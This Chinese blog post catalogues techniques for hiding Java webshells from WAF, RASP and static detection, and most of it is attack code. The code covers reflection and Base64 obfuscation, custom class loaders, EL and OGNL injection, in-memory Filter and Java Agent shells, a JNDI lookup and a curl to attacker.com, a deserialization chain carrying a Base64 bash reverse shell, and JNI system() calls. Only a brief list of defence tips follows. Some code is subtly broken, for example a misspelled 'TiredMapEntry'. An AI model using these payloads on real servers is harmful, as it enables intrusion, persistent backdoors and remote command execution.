Java webshell的绕过

2025-03-26 19 0

一、基础绕过:混淆与编码

目标:绕过基于关键词(如Runtime,exec)的静态检测。

<%!
    // 1. Base64编码隐藏命令
    String cmd = "Y2FsYy5leGU="; // calc.exe的Base64编码
    String decodedCmd = new String(java.util.Base64.getDecoder().decode(cmd));
    
    // 2. 反射调用Runtime执行命令
    public void execute(String cmd) throws Exception {
        Class<?> rtClass = Class.forName("java.lang.Runtime");
        Method execMethod = rtClass.getMethod("exec", String.class);
        Object runtime = rtClass.getMethod("getRuntime").invoke(null);
        execMethod.invoke(runtime, cmd);
    }
%>
<%
    // 调用方式:通过反射隐藏直接调用
    execute(decodedCmd);
%>

绕过点

  • 使用反射隐藏Runtimeexec关键词

  • Base64编码避免明文命令暴露

二、类加载绕过:自定义ClassLoader

目标:绕过黑名单检测,直接加载字节码。

<%!
    // 1. 自定义恶意类(编译后的字节码)
    byte[] evilClassBytes = new byte[]{-54,-2,-70,-66,0,0,0,52,...}; // 恶意类的字节码
    
    // 2. 自定义ClassLoader加载类
    public class EvilClassLoader extends ClassLoader {
        public Class<?> define(byte[] bytes) {
            return super.defineClass(bytes, 0, bytes.length);
        }
    }
    
    // 3. 加载并执行恶意类
    EvilClassLoader loader = new EvilClassLoader();
    Class<?> evilClass = loader.define(evilClassBytes);
    Method mainMethod = evilClass.getMethod("main", String[].class);
    mainMethod.invoke(null, new Object[]{new String[]{}});
%>

绕过点

  • 直接加载字节码,绕过文件上传检测

  • 无文件落地,内存中执行

三、利用框架特性:EL表达式注入

目标:利用框架的表达式解析功能执行命令(如Spring MVC)。

${pageContext.request.getSession().setAttribute("cmd", 
    pageContext.getClass().getClassLoader().loadClass("java.lang.Runtime")
    .getMethod("exec", String.class).invoke(null, "calc.exe"))}

绕过点

  • 利用JSP EL表达式直接执行代码

  • 无需显式调用Runtime,绕过静态检测

四、反射+字符串拆分

目标:通过字符串拆分隐藏敏感方法名。

<%
    // 拆分"exec"为"ex"+"ec"
    String methodPart1 = "ex";
    String methodPart2 = "ec";
    String methodName = methodPart1 + methodPart2;
    
    // 反射调用
    Class<?> rtClass = Class.forName("java.lang.Runtime");
    Method execMethod = rtClass.getMethod(methodName, String.class);
    Object runtime = rtClass.getMethod("getRuntime").invoke(null);
    execMethod.invoke(runtime, "calc.exe");
%>

绕过点

  • 动态拼接方法名,绕过静态字符串匹配

五、内存马:无文件注入

目标:通过动态注册Filter/Servlet实现无文件持久化。

<%!
    // 1. 创建恶意Filter
    public class EvilFilter implements Filter {
        public void doFilter(ServletRequest req, ServletResponse res, FilterChain chain) {
            String cmd = req.getParameter("cmd");
            if (cmd != null) {
                try {
                    Runtime.getRuntime().exec(cmd);
                } catch (Exception e) {}
            }
            chain.doFilter(req, res);
        }
    }
%>

<%
    // 2. 动态注册Filter到当前Context
    ServletContext context = request.getServletContext();
    FilterRegistration.Dynamic filter = context.addFilter("EvilFilter", new EvilFilter());
    filter.addMappingForUrlPatterns(EnumSet.of(DispatcherType.REQUEST), true, "/*");
%>

绕过点

  • 无文件写入,驻留内存

  • 与正常请求混合,隐蔽性强

六、利用JNDI绕过

目标:结合高低版本JDK特性绕过RASP检测(如Log4j漏洞)。

<%
    // 利用JNDI注入(需目标出网)
    String jndiUrl = "ldap://attacker.com/Exploit";
    new javax.naming.InitialContext().lookup(jndiUrl);
%>

绕过点

  • 利用外部资源加载恶意类

  • 依赖JDK版本特性(如JDK < 8u191)

Java WebShell绕过WAF的进阶技巧

以下是针对Java WebShell绕过WAF的进阶技巧及实际代码案例,结合协议层绕过、框架特性、反射混淆等多种方法,确保内容未重复之前提到的反射、类加载、EL表达式等常见方式:

一、协议层绕过:分块传输编码

目标:通过分块传输HTTP请求体,绕过WAF对固定长度的内容检测。
原理:WAF可能仅解析固定长度的请求体,分块传输可将恶意代码拆分到多个块中,绕过静态规则匹配。

// Java模拟分块传输的HTTP请求(示例片段)
String cmd = "curl http://attacker.com/shell.jsp";
String chunkedBody = "4\r\n" + "cmd=" + "\r\n"
                   + (cmd.length() - 4) + "\r\n" + cmd.substring(4) + "\r\n0\r\n\r\n";

Socket socket = new Socket("target.com", 80);
OutputStream out = socket.getOutputStream();
String request = "POST /upload.jsp HTTP/1.1\r\n"
               + "Host: target.com\r\n"
               + "Transfer-Encoding: chunked\r\n\r\n"
               + chunkedBody;
out.write(request.getBytes());

绕过点

  • 使用Transfer-Encoding: chunked拆分恶意参数,避免完整关键词被检测。

二、框架特性利用:Struts2 OGNL表达式拼接

目标:绕过Struts2漏洞利用时对dispatcherRuntime等关键词的拦截。
案例:通过字符串拼接绕过关键字过滤

// 构造OGNL表达式绕过WAF规则
String payload = "${#req=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletReq'+'uest'),"
               + "#resp=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletRes'+'ponse'),"
               + "new java.io.BufferedReader(new java.io.InputStreamReader("
               + "Runtime.getRuntime().exec('whoami').getInputStream())).readLine()}";
// 发送恶意请求(需结合漏洞触发点)

绕过点

  • 拆分敏感类名(如com.opensymphony.xwork2.dispatcher.HttpServletRequest)为多段拼接,绕过静态规则。

三、动态代理与Lambda表达式隐藏调用链

目标:利用Java动态代理或Lambda特性隐藏恶意代码执行链。
代码示例

// 使用Lambda表达式隐藏Runnable执行
Runnable task = () -> {
    try {
        Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
        // 处理输出...
    } catch (IOException e) { /* 异常处理 */ }
};
new Thread(task).start();

// 动态代理隐藏方法调用
InvocationHandler handler = (proxy, method, args) -> {
    if (method.getName().equals("toString")) {
        return Runtime.getRuntime().exec((String) args[0]);
    }
    return null;
};
Object proxy = Proxy.newProxyInstance(
    handler.getClass().getClassLoader(),
    new Class<?>[]{Runnable.class},
    handler
);
((Runnable) proxy).run();

绕过点

  • Lambda和动态代理使调用链难以被静态分析工具捕获。

四、JNI调用本地代码执行命令

目标:通过Java Native Interface(JNI)调用本地编译的恶意代码,绕过Java层检测。
步骤

  1. 编写本地方法(C/C++):

#include <jni.h>
#include <stdlib.h>
JNIEXPORT void JNICALL Java_EvilClass_exec(JNIEnv *env, jobject obj, jstring cmd) {
    const char *command = (*env)->GetStringUTFChars(env, cmd, 0);
    system(command);
    (*env)->ReleaseStringUTFChars(env, cmd, command);
}
  1. Java层加载动态库

public class EvilClass {
    static { System.loadLibrary("evil"); }
    public native void exec(String cmd);
    public static void main(String[] args) {
        new EvilClass().exec("calc.exe");
    }
}

绕过点

  • 恶意逻辑实现在本地代码中,Java层仅调用JNI接口,绕过基于Java关键字的检测。

五、内存马注入:基于Java Agent的无文件驻留

目标:通过Java Agent机制动态修改字节码,注入内存马。
代码片段(需结合Agent实现):

// Agent入口类
public class AgentMain {
    public static void premain(String args, Instrumentation inst) {
        inst.addTransformer((loader, className, classBeingRedefined,
                            protectionDomain, classfileBuffer) -> {
            if (className.equals("javax/servlet/http/HttpServlet")) {
                // 修改HttpServlet的service方法,插入恶意逻辑
                ClassPool pool = ClassPool.getDefault();
                CtClass ctClass = pool.get(className);
                CtMethod method = ctClass.getDeclaredMethod("service");
                method.insertBefore("Runtime.getRuntime().exec(\"touch /tmp/pwned\");");
                return ctClass.toBytecode();
            }
            return null;
        });
    }
}

绕过点

  • 通过字节码修改实现无文件持久化,驻留在JVM内存中,避免文件扫描。

六、利用Java反序列化漏洞绕过

目标:通过反序列化链执行命令,结合编码和混淆绕过WAF。
案例:使用CommonsCollections链并混淆类名

// 生成混淆后的序列化Payload(示例)
String cmd = "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}";
Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})
};
ChainedTransformer chain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, chain);
TiedMapEntry entry = new TiredMapEntry(lazyMap, "key");
// 序列化entry对象并发送...

绕过点

  • 使用Base64编码命令,并通过反序列化链动态加载,避免直接出现Runtimeexec

七、HTTP参数污染与畸形请求

目标:利用HTTP协议解析差异绕过WAF规则。
示例:通过重复参数或畸形头注入恶意内容

// 构造包含多个同名参数的请求(参数污染)
String url = "http://target.com/cmd.jsp?cmd=ls&cmd=;id";
URL obj = new URL(url);
HttpURLConnection con = (HttpURLConnection) obj.openConnection();
con.setRequestMethod("GET");
// 某些WAF可能只检测第一个参数,后端取最后一个值执行

绕过点

  • 利用后端框架(如Spring)取最后一个参数的特性,绕过WAF对首个参数的检测。

防御建议

  1. 深度协议解析:WAF需支持分块传输、多格式Content-Type解析。

  2. 动态行为监控:RASP技术检测反射、JNI、动态代理等高危操作。

  3. 框架补丁管理:及时修复Struts2、Spring等框架漏洞。

  4. 流量基线分析:建立正常流量模型,识别异常请求模式。


4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

大模型安全警报:你的AI客服正在泄露客户银行卡号
HTB-Devvortex-WriteUp
WEB漏洞——越权
新型SectopRAT木马利用Cloudflare验证系统攻击Windows用户
医疗行业网络安全现状令人担忧
2025年全球网络安全支出预计增长12.2%

发布评论